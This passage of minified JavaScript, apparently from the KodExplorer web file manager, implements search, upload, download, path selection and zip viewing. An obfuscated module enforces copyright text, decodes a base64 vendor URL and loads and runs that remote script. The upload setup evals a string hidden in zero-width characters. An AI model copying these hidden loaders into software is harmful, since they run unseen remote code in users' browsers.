-},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files) "),e.data.error_info&&i.html(""+LNG.seach_result_too_more+" ")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+' ').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",' '," ",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",' ',"iconSmall","iconSrc",' ',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o=''+'
'+core.pathThis(e)+" "+'
0b '+'
'+LNG.upload_ready+" "+'
'+'
';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o=''+'
'+htmlEncode(core.pathThis(a))+" "+'
'+core.fileSize(e.size)+" "+'
'+LNG.upload_ready+" "+'
'+'
';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")",a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData)if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o=' ';"file"==e.type&&(o+=''+e.allowExt+" "),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before(''+core.iconSmall(o)+" ").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s=" ";a.before(s)}var r=''+date(LNG.time_type,t.mtime)+" ";r+=''+core.fileSize(t.size)+" ",r+='',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t){var i=template.compile(tpl_zipview),a=i({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;
-n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),u(t.getNodeByParam("index","-1",null))},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(v(core.pathThis(e),a.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'\n
\n
{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}
\n
——{{LNG.kod_name_copyright}}
\n
\n
\n
{{#LNG.copyright_desc}}
\n
{{#LNG.copyright_contact}}
\n
